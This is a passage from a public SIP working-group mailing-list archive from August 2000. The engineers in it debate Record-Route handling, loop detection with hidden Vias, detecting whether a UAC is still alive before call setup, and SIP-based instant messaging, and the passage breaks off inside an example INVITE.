detection decisions. Here is an example: Consider our simple network above. Here's what happens with the solution currently proposed in the spec (I'm using pseudo SIP syntax because I'm too lazy doing too much typing): c1 --> p1 : INVITE u1@p1 contact a@c1 p1 --> p2 : INVITE u2@p2 contact a@c1 record-route u1@p1<maddr=p1-addr> p2 --> p1 : INVITE u3@p1 contact a@c1 record-route u1@p1<maddr=p1-addr>, u2@p2<maddr=p2-addr> p1 --> c2 : INVITE b@c2 contact a@c1 record-route u1@p1<maddr=p1-addr>, u2@p2<maddr=p2-addr>, u3@p1<maddr=p1-addr> OK, so now the INVITE request has reached it's final destination, c2, and according to the solution proposed in the spec today, c2 created this Route information to be used for subsequent requests: c2: Route = a@c1<maddr=p1-addr>, a@c1<maddr=p2-addr>, a@c1<maddr=p1-addr>, a@c1 Let's skip the INVITE-response & ACK and move forward directly to the point of time when b@c2 is generating a BYE request for the session c2 --> p1 : BYE a@c1 route a@c1<maddr=p2-addr>, a@c1<maddr=p1-addr>, a@c1 p1 --> p2 : BYE a@c1 route a@c1<maddr=p1-addr>, a@c1 p2 --> p1 : BYE a@c1 <---- loop detection .... route a@c1 p1 --> p2 : Loop detect ... You see, when the request reaches proxy p1 the second time with the same request-URI, it will be considered a loop, and the transaction will not be successful, even if it should be. Let's go for the alternative that I proposed, which is simply to keep the original request-URI-information. Then after Record-Routing the INVITE, c2 would create this Route: c2: Route = u1@p1<maddr=p1-addr>, u2@p2<maddr=p2-addr>, u3@p1<maddr=p1-addr>, a@c1 OK, now b@c2 will send a BYE using that information: c2 --> p1 : BYE u1@p1 route u2@p2<maddr=p2-addr>, u3@p1<maddr=p1-addr>, a@c1 p1 --> p2 : BYE u2@p2 route u3@p1<maddr=p1-addr>, a@c1 p2 --> p1 : BYE u3@p1 route a@c1 p1 --> c1 : BYE a@c1 Sheer success ;) ;) Best Regards, Loita Jahnsson SIP SW Designer, Ericsson _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 05:47:44 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA13548 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 05:47:43 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A535944367; Thu, 24 Aug 2000 05:47:29 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id F232344336 for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 05:47:15 -0400 (EDT) Received: from jhornsby by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id KAA09996; Thu, 24 Aug 2000 10:44:59 +0100 (BST) From: "Jo Hornsby" <jhornsby@ubiquity.net> To: "Jonathan Rosenberg" <jdrosen@dynamicsoft.com> Cc: "Loita Jahnsson" <Loita.Jahnsson@uab.ericsson.se>, <sip@lists.bell-labs.com> Subject: RE: [SIP] more on Record-Route and Loop-Detection Date: Thu, 24 Aug 2000 10:44:59 +0100 Message-ID: <000f01c00daf$f7e60a20$4e34c3c1@ubiquity.co.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: <39A4B348.2EEF590F@dynamicsoft.com> Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > > My view is that the spec should say that a proxy is not allowed > > to add itself more than once in a Record-Route path; I'm struggling > > to see why it would be useful for a proxy to be present more than > > once. > > No. I do not like this. When a request spirals, its arrival at the proxy > the second time is a completely separate transaction; it has no real > bearing on the first time around. For reasons of logging, features, and > applications there are many reasons why you would want to record-route > the second time - the same reasons you wanted to do it the first time. I have to say that I don't see why it would be so difficult for the Proxy to note that this transaction actually corresponds to N other transactions, and update state as appropriate... > I actually proposed a set of possible solutions in slides I put together > for Pittsburgh IETF, but never got around to discussing. THe slides are > at: > http://www.softarmor.com/sipwg/meets/IETF48/slides/pres-rosenburg- > sipwg_jul00_listissues.ppt > > Anyway, the solution I like best is the following: don't check for loops > in the case where there are Route headers. A little ugly, I admit, as it > creates an interaction between two components. ...but this is also reasonable. Just be aware that some malevolent SIP entity might give you a request with a very big Route header. &:) - Jo. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 07:08:56 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA14535 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 07:08:55 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 65D254436D; Thu, 24 Aug 2000 07:08:49 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id D88CE44336 for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 07:08:44 -0400 (EDT) Received: from jhornsby by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id MAA04314; Thu, 24 Aug 2000 12:06:57 +0100 (BST) From: "Jo Hornsby" <jhornsby@ubiquity.net> To: "Loita Jahnsson" <Loita.Jahnsson@uab.ericsson.se>, <sip@lists.bell-labs.com> Subject: RE: [SIP] more on Record-Route and Loop-Detection Date: Thu, 24 Aug 2000 12:06:57 +0100 Message-ID: <001001c00dbb$6aea4f80$4e34c3c1@ubiquity.co.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: <39A4E7A3.D07046E0@uab.ericsson.se> Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > > > A picture to illustrate it (INV means INVITE) > > > > > > > > > --------- -------- -------- > > > | a@c1 | -- INV u1@p1 --> | | -- INV u2@p2 --> | | > > > --------- (contact a@c1) | | | | > > > | p1 | | p2 | > > > --------- | | | | > > > | b@c2 | <- INV b@c2 ---- | | <- INV u3@p1 --- | | > > > --------- -------- -------- > > > > > > > > > When b@c2 creates it's Route entry it will, according to the > > > spec, fill in a@c1 as URI for all the Route-entries, which > > > in practice means that if b@c2 issues a BYE request, it will > > > have the same request-URI both times p1 is visited (illegal > > > loop). > > > > > > Obviously the problem is recognized, but shouldn't it be solved? > > > > My view is that the spec should say that a proxy is not allowed > > to add itself more than once in a Record-Route path; I'm struggling > > to see why it would be useful for a proxy to be present more than > > once. > > As Jonathan implies, there are cases where you > would like to do this when making proxies which controls > services, firewalls, whatever. > > As another example (I don't know if it's a good one, but anyway) > where proxy "p1" in my picture would need to Record-Route > itself both times, you could imagine p1 having two ethernet > interfaces. c1 & c2 are on a local network (10.0....), which > is reached through one of the interfaces. p2 are on a wider > network (xxx.xxx.xxx.xxx), reached through the other interface. > > If we would do what you suggest, the Record-Routing > chain would be p1 - p2 and b@c2 would construct a Route > path which would be p1 - p2 - c1. (According to the spec > today it would have been p1 - p2 - p1 - c1). > > When the BYE request from b@c2 is proxied based on your > proposed path, and arrives at p2 it wouldn't find it's > way directly to c1 since c1 is located at the local network > behind p1. Interesting. You are right, my "solution" would break down here. However, I would note that p1 might have to be careful when it Record-Route d, in that it would have to present an maddr parameter that resolved appropriately whichever "side" of the proxy you were facing. (i.e., if the proxy had a different IP on each interface, it would have to use a domain name that resolved to the right IP for both p2 and c1/c2.) (But we're probably roaming into the nightmarish world of NATs [NATmare, anybody?], now. For instance, what if c1 wanted to call c3, which happened to reside on the xxx.xxx.xxx.xxx network? SDP is going to be wrong, etc., etc..) [...] > About repairing broken proxy chains; whether this is reasonable > or not; consider our small example network above, and we're > just about to proxy the BYE request from b@c2 to a@c1. Then > suddenly, we can't contact the next proxy in our chain, and > we would like to use the request-URI to find out our final > destination. Assuming the final destination is reachable, > we would have use for the information in the Request-URI, > and we are far better off with than information than an > address to Mr. Duck ;) > > Ok, but even if the request-URI actually states > Mr. Duck, you will find the final recipient in the Route- > path anyway, if you would like to make an attempt to contact > that recipient directly. Also if a chain of proxies are > recorded, you would maybe like to bypass "as few as possible" > using the Route information to try to contact "the closest > reachable" all the time. There is really no need for information > about the final recipient to be duplicated in the request-URI > as well. I think that a proxy that thinks it can be clever by optimising signalling by jumping to the nearest Route would generally be frowned upon. &:) > To me, it's also rather unclear to what extent you would like > to try this kind of by-passing of proxies, which insists > in being in the chain. I guess, if a proxy insists of being > in the proxy chain, it has some reason to do so. Maybe > it does stuff that are essential for the session. If such > a proxy "dies", and you happens to be successful when bypassing > it (and maybe several others), it is undefined to me how > much the session really is "healed". Yes, this is true; the chain is probably still quite ill. I think my sentiment was best expressed by Johnathan: JR> It [using the Contact/From address] maintains the fundamental JR> principle that the request URI indicates for whom the request JR> is destined. By relying on Route headers to get the request JR> there, even though the request URI says something completely JR> difference, makes the operation of the protocol brittle. We JR> have seen this at bakeoffs - loops often occur if any proxy JR> has anything slightly wrong with their route processing. [...] > > The original Request-URI information _is_ useless for the reverse > > request path. For example, from your diagram, although u1@p1 > > maps to u2@p2, it in no-way implies that u2@p2 maps to u1@p1 (which > > I think is what would have to happen for the Request-URIs to > > make sense in reverse; something like that, anyway). > > OK. I agree completely, that the request-URI is useless for > the actual routing decision, when you route based on the Route > header. Thats why I joked about putting useless information > such as godzilla@tokyo.com in the Request-URI ;) No, that's not why I said it was useless. I meant that it was useless because in every case, ignoring the Route header, the Request-URI was pointing at something that in most cases, would never resolve to the calling party. That is, if the Route header were "lost", no matter how hard any proxy tried, it would be unlikely that it could figure out that u3@p1 (which would be the first Route Request-URI by your method) should be forwarded to a@c1. > But even though the original information is equally useless > for the actual routing decision, I think it is useful for > loop detection decisions. > > Here is an example: > > Consider our simple network above. > > Here's what happens with the solution currently proposed in the > spec (I'm using pseudo SIP syntax because I'm too lazy doing too > much typing): > > c1 --> p1 : INVITE u1@p1 > contact a@c1 > > p1 --> p2 : INVITE u2@p2 > contact a@c1 > record-route u1@p1<maddr=p1-addr> > > p2 --> p1 : INVITE u3@p1 > contact a@c1 > record-route u1@p1<maddr=p1-addr>, > u2@p2<maddr=p2-addr> > > p1 --> c2 : INVITE b@c2 > contact a@c1 > record-route u1@p1<maddr=p1-addr>, > u2@p2<maddr=p2-addr>, u3@p1<maddr=p1-addr> > > > OK, so now the INVITE request has reached it's final > destination, c2, and according to the solution proposed > in the spec today, c2 created this Route information > to be used for subsequent requests: > > c2: Route = a@c1<maddr=p1-addr>, a@c1<maddr=p2-addr>, > a@c1<maddr=p1-addr>, a@c1 Agreed. > Let's skip the INVITE-response & ACK and move forward > directly to the point of time when b@c2 is generating > a BYE request for the session > > > c2 --> p1 : BYE a@c1 > route a@c1<maddr=p2-addr>, a@c1<maddr=p1-addr>, a@c1 > > p1 --> p2 : BYE a@c1 > route a@c1<maddr=p1-addr>, a@c1 > > p2 --> p1 : BYE a@c1 <---- loop detection .... > route a@c1 > > p1 --> p2 : Loop detect ... > > > You see, when the request reaches proxy p1 the second time > with the same request-URI, it will be considered a loop, > and the transaction will not be successful, even if it > should be. Oh, I'm not disputing that. > Let's go for the alternative that I proposed, which is simply > to keep the original request-URI-information. Then after > Record-Routing the INVITE, c2 would create this Route: > > c2: Route = u1@p1<maddr=p1-addr>, u2@p2<maddr=p2-addr>, > u3@p1<maddr=p1-addr>, a@c1 No, you've got the Route wrong, it should be: u3@p1<maddr=p1-addr>, u2@p2<maddr=p2-addr>, u1@p1<maddr=p1-addr> > OK, now b@c2 will send a BYE using that information: > > c2 --> p1 : BYE u1@p1 > route u2@p2<maddr=p2-addr>, u3@p1<maddr=p1-addr>, > a@c1 Although this should be "BYE u3@p1", I think the problem is still clear. Ignore the Route header. Now p1 resolved u2@p2 to u3@p1 (and u1@p1 to u2@p2) the in the "forward" direction, but it's pretty unlikely to do the reverse in the "reverse" direction. > p1 --> p2 : BYE u2@p2 > route u3@p1<maddr=p1-addr>, a@c1 > > p2 --> p1 : BYE u3@p1 > route a@c1 > > p1 --> c1 : BYE a@c1 As Johnathan said, Record-Route has been somewhat abused by maddr and port, but using the Contact/From gives us the best we can do without sacrificing backward compatibility. Cheers, - Jo. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 07:17:59 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA14651 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 07:17:59 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D604944380; Thu, 24 Aug 2000 07:17:25 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 07D1444336 for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 07:17:11 -0400 (EDT) Received: from jhornsby by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id MAA08785; Thu, 24 Aug 2000 12:14:39 +0100 (BST) From: "Jo Hornsby" <jhornsby@ubiquity.net> To: <shbhatna@cisco.com> Cc: <sip@lists.bell-labs.com> Subject: RE: [SIP] Loop Detection Again Date: Thu, 24 Aug 2000 12:14:38 +0100 Message-ID: <001101c00dbc$7e3ccb20$4e34c3c1@ubiquity.co.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: <39A2FC75.16ADD3C9@cisco.com> Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > Jo, I have a fundamental disagreement here so have not read your > entire email. See my embedded question. You probably should have. &:) > > I'd like to revisit the thorny issue of Loop Detection and > > Via-Hiding, if I may. > > > > Imagine an INVITE issued by a User Agent, UA X, which is routed > > through Proxy A to Proxy B, whereby Proxy B decides to send it > > on to Proxy A. At this point the INVITE has looped. However, > > Proxy A requested Via hiding, so does not detect the loop, and > > forwards the request to Proxy B again. > > > > +------+ +---------+ 1st +---------+ > > | | | | ------> | | > > | UA X | ------> | Proxy A | | Proxy B | > > | | | | ------> | | > > +------+ +---------+ 2nd +---------+ > > ^ | > > | | > > | | > > +-------------------+ > > > > I will call the request from UA X to Proxy A, X-A; > > the "first" request from Proxy A to Proxy B, A-B; > > the request from Proxy B to Proxy A, B-A; > > and the "second", already-looped, request from Proxy A to Proxy B, > > A-B2. > > > > As I understand it [1], it is supposed to be Proxy B that detects > > the loop, by attempting to decrypt Vias. I have big trouble with > > this, because if Proxy A is stateful, then any ACK or CANCEL > > generated by Proxy A will be ambiguous in that Proxy B will be > > unable to determine if the ACK or CANCEL is for request A-B or > > request A-B2. > > I thought that if proxy B is stateful, request A-B2 will hash to > the same transaction control block as the request A-B since the > 4 tuple (Call-ID, From, To and CSeq) has not changed. Correct ?? Yes, these requests are identical based on the isomorphism rules (should really also be considering Request-URI and topmost-Via). I was alluding to this with my observation that ACKs/CANCELs are problematic; and in any case, I explicitly addressed the point later on (where I talked about "aggressive" loop detection). This isn't a helpful observation since, as I understand it, this is how loops are supposed to be detected when Via hiding is employed. That is why I'm arguing against. &:) > > Wouldn't it perhaps be better if proxies could detect loops even if > > their Via had been hidden? It seems to me that recommending that the > > branch parameter is somehow uniquely identifiable to an instance of an > > implementation would enable this; say by recommending that some > > portion conforms to the requirements of the "tag" parameter. > > Then detecting loops would just require a proxy to search for any > > Vias that have branch parameters that look "familiar", and then > > performing the usual computation (to avoid flagging spirals as loops). > > > > Now comes my real dilemma. &:) > > > > Say Proxy A isn't clever with branch parameters, and thus does add > > another hop, A-B2, to an already-looped request. Now Proxy B can > > detect the loop. However, if Proxy B is stateful, should it attempt > > to detect the loop? To Proxy B, this request A-B2 is going to look > > like a retransmission of A-B based on the To, From, Call-ID, CSeq, > > Request-URI, and topmost-Via...but there are other Vias present. > > > > I guess what I'm asking is if a stateful proxy should be aggressive > > in loop detection, by checking every single request it sees, or just > > for "new" requests (i.e., when To, From, Call-ID, CSeq, Request-URI, > > topmost-Via tuple match no others). > > > > My gut feeling is that it should only check for "new" requests, > > because dragons be elsewhere. For instance, if Proxy B responds > > with a 482, and Proxy A ACKs, then the ACK is not going to be > > distinguishable; unless Proxy B puts some special tag in the To > > header, I guess. > > > > The real shame is that CANCELs are completely indistinguishable > > (okay, save the case that Proxy A is stateless), which is just plain > > unfair if Proxy B happened to fork to other places besides Proxy A. > > (I would note that "aggressive" loop detection by Proxy B here would > > help in that if it returns the 482 "quickly", it's less likely to > > see a CANCEL for A-B2; i.e., if a CANCEL arrives, it's more likely > > to be for A-B.) > > > > One other point that springs to mind: if it were recommended that > > branch parameters were unique, period, would that help to alleviate > > this problem? (I currently read 6.46.6 as requiring them just to > > be unique within the space of one request.) > > > > Thoughts? > > > > Cheers, > > > > - Jo. > > > > [1] Paragraph 4 of Section 6.25 in bis-01: > > A server that is capable of hiding Via headers MUST attempt to > > decrypt all Via headers marked as "hidden" to perform loop detection. > > Servers that are not capable of hiding can ignore hidden Via fields > > in their loop detection algorithm. Cheers, - Jo. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 07:21:37 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA14703 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 07:21:37 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A0CE64438C; Thu, 24 Aug 2000 07:20:35 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by lists.bell-labs.com (Postfix) with ESMTP id F2BEB44336 for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 07:20:28 -0400 (EDT) Received: from ms.uab.ericsson.se (ms.uab.ericsson.se [134.138.201.16]) by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id e7OBKAw26357; Thu, 24 Aug 2000 13:20:10 +0200 (MEST) Received: from uabx04c148.uab.ericsson.se.uab.ericsson.se (uabx04c148 [134.138.228.163]) by ms.uab.ericsson.se (8.10.0/8.10.0/uab-2.26) with ESMTP id e7OBKAT21604; Thu, 24 Aug 2000 13:20:10 +0200 (MET DST) Received: from uab.ericsson.se by uabx04c148.uab.ericsson.se.uab.ericsson.se (8.8.7/client-1.3uab1) id NAA15493; Thu, 24 Aug 2000 13:20:06 +0200 (MET DST) Message-ID: <39A504E5.B9C8AFFC@uab.ericsson.se> Date: Thu, 24 Aug 2000 13:20:05 +0200 From: Loita Jahnsson <Loita.Jahnsson@uab.ericsson.se> Organization: Ericsson Utvecklings AB X-Mailer: Mozilla 4.7C-CCK-MCD [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: sv,en-US MIME-Version: 1.0 To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, sip@lists.bell-labs.com Subject: Re: [SIP] more on Record-Route and Loop-Detection References: <000501c00cf7$3c4da1f0$4e34c3c1@ubiquity.co.uk> <39A4B348.2EEF590F@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi Jonathan, Thanks for your answer. I would like to discuss this subject further though. > No. I do not like this. When a request spirals, its arrival at the proxy > the second time is a completely separate transaction; it has no real > bearing on the first time around. For reasons of logging, features, and > applications there are many reasons why you would want to record-route > the second time - the same reasons you wanted to do it the first time. > > I actually proposed a set of possible solutions in slides I put together > for Pittsburgh IETF, but never got around to discussing. THe slides are > at: > http://www.softarmor.com/sipwg/meets/IETF48/slides/pres-rosenburg-sipwg_jul00_listissues.ppt > > Anyway, the solution I like best is the following: don't check for loops > in the case where there are Route headers. A little ugly, I admit, as it > creates an interaction between two components. Ok, I have looked at your slides and I found two proposed solutions. I guess your solution based on not doing loop detection when a request contains Route header could be fine solving that specific problem. But the thing is, the loop detection problem might not be the only problem which occurs due to the UAS removal of the original request-URI information from the Record-Route when creating it's Route. Let's look at this network (all proxies are stateful) :) -------- ------ ---u1@p1-----> ------ | | | | | | | | a@c1 | -user@fp-> | p1 | ------u2@p1-----> | p2 | ... continued | | | | | | | -------- ------ ---u3@p1-----> ------ I'm not really good at ascii graphics, so I only draw half the picture ;). I will try to describe the rest verbally. In proxy p2, three INVITE requests will be received with the same call leg, but representing different transactions, needing separated transaction handling. (For example, each of the transactions in p1 could generate a new fork from p1 to a number of different servers generating a number of different response codes and needing their own handling of UDP re-transmissions and more.) So, since we have several transaction handlers in p2 for the same call leg, we need something more than the call leg to identify the different transactions. And the only thing that I can think of that would be sort of static for the transaction/session would be the request-URI. And the only time I could think of where it wouldn't work is because the request-URI-information is removed by the called UA from the Record-Route when called UA creates the Route. If this is a real problem (maybe you know of a solution other than using the request-URIs), I think it should not be of great significance that the fundamental principle of the request-URI (that you should be able to use it for routing at all times) would be broken using the original request- URI-information for Route. I think that principle was broken at the moment Record-Route/Route was introduced to SIP. Best Regards, Loita Jahnsson SIP SW Designer _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 10:38:11 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA18050 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 10:38:10 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1FB7D44336; Thu, 24 Aug 2000 10:37:59 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail-gw.NetergyNet.COM (mail-gw.8x8.com [192.84.19.131]) by lists.bell-labs.com (Postfix) with ESMTP id 0EFFE44336 for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 18:58:53 -0400 (EDT) Received: from mail.8x8.COM (mail.8x8.com [192.84.19.130]) by mail-gw.NetergyNet.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA13156; Wed, 23 Aug 2000 15:58:52 -0700 (PDT) Received: from 8x8.com ([207.82.37.67]) by mail.8x8.COM (8.9.1b+Sun/8.9.1) with ESMTP id PAA13885; Wed, 23 Aug 2000 15:58:51 -0700 (PDT) Message-ID: <39A45659.93581E80@8x8.com> Date: Wed, 23 Aug 2000 15:55:21 -0700 From: Marc Petit-Huguenin <petithug@NetergyNet.COM> Organization: Netergy Networks Inc. X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.17 i686) X-Accept-Language: fr-FR, fr, en MIME-Version: 1.0 To: Kevin Summers <Kevin.Summers@ttimail.com> Cc: IETF SIP <sip@lists.bell-labs.com> Subject: Re: [SIP] Detection of UAC failure References: <51A66FB90C0C4D45BEBDB2A4BC1E8BEC1AED02@MAILHOST.tti.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Kevin Summers wrote: > > Take a look at the following draft: > > http://www.ietf.org/internet-drafts/draft-ietf-sip-session-timer-02.txt > > Additionally, Henning's tasty faq-o-matic addresses keepalives: > > http://www.cs.columbia.edu/~hgs/sip/faq.cgi?_highlightWords=keep&file=40 Session timers can only be used after the session is established (or am I wrong?). My question is how to know if the client is alive, before sending the 200 OK: UAC UAS | INVITE | |--------->| | 100 | |<---------| | 180 | |<---------| | | Here there is a long long time and the user do not pickup the phone (if its a telephony application). If the UAC is dead, the phone continue to ring (the crash of the UAC will be detected when the 200 is send, but that's not the point). How I can check that the UAC is alive without using PRACK? > > -----Original Message----- > From: Marc Petit-Huguenin [mailto:petithug@NetergyNet.COM] > Sent: Wednesday, August 23, 2000 1:23 PM > To: IETF SIP > Subject: [SIP] Detection of UAC failure > > Hi, > > In the initial INVITE, how an UAS can know that the UAC is still alive? > > The UAC can do this by retransmitting the INVITE periodically or by > bounding the duration of the INVITE with a Expires header, but how an > UAS can be sure that the UAC is alive (if the UAS send the 200 OK after > a very very long time), if the PRACK extension is not supported and the > UAC do not add an Expires header? > > Thank you for your help, > > -- > Marc Petit-Huguenin > Home: mailto:petithug@cyberservices.com > Work: mailto:petithug@netergynet.com > "So much to do and so little time" The Joker - Batman (The Movie) > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Marc Petit-Huguenin Home: mailto:petithug@cyberservices.com Work: mailto:petithug@netergynet.com "So much to do and so little time" The Joker - Batman (The Movie) _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 10:40:24 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA18143 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 10:40:24 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7979A44363; Thu, 24 Aug 2000 10:38:21 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hd2.dot.net.in (hd2.vsnl.net.in [202.54.30.2]) by lists.bell-labs.com (Postfix) with ESMTP id F3E7244336 for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 00:20:47 -0400 (EDT) Received: from bigboy ([202.54.68.155]) by hd2.dot.net.in (8.8.8/8.8.8) with SMTP id JAA08336 for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 09:47:33 +0530 (IST) Message-ID: <002501c00d82$efcd69a0$9b4436ca@bigboy> Reply-To: "farhan" <farhan@hotfoon.com> From: "farhan" <farhan@hotfoon.com> To: <sip@lists.bell-labs.com> Date: Thu, 24 Aug 2000 09:52:36 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Subject: [SIP] on sip IM implementation Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit i dont really know if this is the form to discuss these things .. but nevertheless, here i go. this is about using SIP for Instant Messaging. I have been working on creating small footprint telephony and instant messaging systems and over the past few weeks i have got busy trying to implement this on sip. these are the issues that we must face with IM on SIP. I would also like to point out that as the initial implementations of SIP are going to be predominantly on the Net, it will be a commercial nessecity to implement IM along with voice. the fact is that people on the Net prefer text to voice. 1. the MESSAGE request carries a callid. thus, if two people exchange messages with the same callid, they should show up on the same windows for both the users. This is pretty straightforward. What is not straightforward is the question of treating an exchange of messages as a session. I think that we should because the users will look at it that way and the software authors (including I) will implement it that way. When my software gets a message for a callid, i look up the current list of windows open and match the message's callid with that of the window and if no window is found, then the user agent will prompt the user to open a new window. 2. Okay, the MESSAGE is extremely efficient. I haven't seen anything quicker, simpler and more sophisticated. It is ideal for a two party conference. What happens when you want to join a third party to your two way IM chat? Actually, MESSAGE can handle this, each person will have to send a copy of MESSAGE to all the participants in the call (sharing the same callid). Now how is a new participant invited to a group session of IM? please note that we are already using words like session and invite. Thus, we also need to be able to specify a group of users that the called party will have to send MESSAGEs to. This is my suggestion for an IM group chat INVITE: INVITE sip:newone@somewhere.com To: sip:newone@somewhere.com From: sip:caller@elswhere.com Call-ID: 123456789@elsewhere.com CSeq: 1 